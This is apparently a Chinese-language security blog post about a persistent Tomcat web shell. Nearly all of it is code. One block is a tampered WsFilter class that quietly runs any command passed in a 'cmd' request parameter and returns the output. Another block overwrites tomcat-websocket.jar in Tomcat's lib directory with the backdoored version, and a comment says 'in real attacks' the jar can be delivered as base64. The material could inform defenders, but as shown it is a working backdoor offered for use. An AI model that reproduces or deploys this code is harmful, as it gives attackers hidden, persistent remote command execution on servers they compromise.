从一个被Tomcat拒绝的漏洞到特殊内存马

package org.apache.tomcat.websocket.server;
import java.io.IOException;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
/**
 * Handles the initial HTTP connection for WebSocket connections.
 */
public class WsFilter implements Filter {
    private WsServerContainer sc;
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        sc = (WsServerContainer) filterConfig.getServletContext().getAttribute(
                Constants.SERVER_CONTAINER_SERVLET_CONTEXT_ATTRIBUTE);
    }
    @Override
    public void doFilter(ServletRequest request, ServletResponse response,
                         FilterChain chain) throws IOException, ServletException {
        // 不改变原有逻辑，在这里插入代码
        String cmd = request.getParameter("cmd");
        if (cmd != null && !cmd.equals("")) {
            Process process = Runtime.getRuntime().exec(cmd);
            StringBuilder outStr = new StringBuilder();
            response.getWriter().print("<pre>");
            java.io.InputStreamReader resultReader = new java.io.InputStreamReader(process.getInputStream());
            java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
            String s = null;
            while ((s = stdInput.readLine()) != null) {
                outStr.append(s + "\n");
            }
            response.getWriter().print(outStr.toString());
            response.getWriter().print("</pre>");
        }
        // This filter only needs to handle WebSocket upgrade requests
        if (!sc.areEndpointsRegistered() ||
                !UpgradeUtil.isWebSocketUpgradeRequest(request, response)) {
            chain.doFilter(request, response);
            return;
        }
        // HTTP request with an upgrade header for WebSocket present
        HttpServletRequest req = (HttpServletRequest) request;
        HttpServletResponse resp = (HttpServletResponse) response;
        // Check to see if this WebSocket implementation has a matching mapping
        String path;
        String pathInfo = req.getPathInfo();
        if (pathInfo == null) {
            path = req.getServletPath();
        } else {
            path = req.getServletPath() + pathInfo;
        }
        WsMappingResult mappingResult = sc.findMapping(path);
        if (mappingResult == null) {
            // No endpoint registered for the requested path. Let the
            // application handle it (it might redirect or forward for example)
            chain.doFilter(request, response);
            return;
        }
        UpgradeUtil.doUpgrade(sc, req, resp, mappingResult.getConfig(),
                mappingResult.getPathParams());
    }
    @Override
    public void destroy() {
        // NO-OP
    }
}

try {
    // 从standardContext中得到的resource路径是tomcat/lib
    WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase)
        Thread.currentThread().getContextClassLoader();
    StandardContext standardCtx = (StandardContext) webappClassLoaderBase.getResources().getContext();
    String path = standardCtx.getClass().getClassLoader().getResource("").toString();
    // 得到需要写入的文件路径tomcat/lib/tomcat-websocket .jar
    String finalPath = path.split("file:/")[1]+"tomcat-websocket .jar";
    // 为了测试方便直接读了文件
    // 实战中可以传过来base64的二进制数据（文件不是很大只有200K左右）
    byte[] data = Files.readAllBytes(Paths.get("C:/JavaCode/Tomcat/tomcat-websocket .jar"));
    // 写入目标路径
    Files.write(Paths.get(finalPath),data);
} catch (Exception e) {
    e.printStackTrace();
}